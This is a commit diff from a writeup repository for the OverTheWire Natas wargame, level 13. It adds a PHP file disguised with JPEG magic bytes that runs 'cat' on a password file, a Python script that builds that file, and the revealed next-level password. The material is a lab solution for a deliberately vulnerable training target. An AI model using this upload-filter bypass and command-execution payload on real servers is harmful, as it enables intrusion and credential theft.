File tree 4 files changed +24
-1
lines changed
4 files changed +24
-1
lines changed Original file line number Diff line number Diff line change @@ -40,4 +40,4 @@ Then change the `filename` request parameter to a string with `.php` extension:
40
40
<img src =" https://github.com/vaezim/OverTheWire-Writeups/blob/master/natas/media/natas12.png " />
41
41
</p >
42
42
43
- 13 )
43
+ 13 ) jpeg magic number: ` ff d8 ff e0 `
Original file line number Diff line number Diff line change
1
+ ����
2
+ <?php
3
+
4
+ exec ("cat /etc/natas_webpass/natas14 " , $ output );
5
+ print_r ($ output [0 ]);
6
+
7
+ ?>
Original file line number Diff line number Diff line change
1
+ jpeg_magic_number = b"\xff \xd8 \xff \xe0 "
2
+ with open ("./natas13.php" , "wb" ) as f :
3
+ f .write (jpeg_magic_number )
4
+
5
+ php_code = \
6
+ """
7
+ <?php
8
+
9
+ exec("cat /etc/natas_webpass/natas14", $output);
10
+ print_r($output[0]);
11
+
12
+ ?>
13
+ """
14
+ with open ("./natas13.php" , "a" ) as f :
15
+ f .write (php_code )
Original file line number Diff line number Diff line change
1
+ qPazSJBmrmU7UQJv17MHk1PGC4DxZMEP
You can’t perform that action at this time.
0 commit comments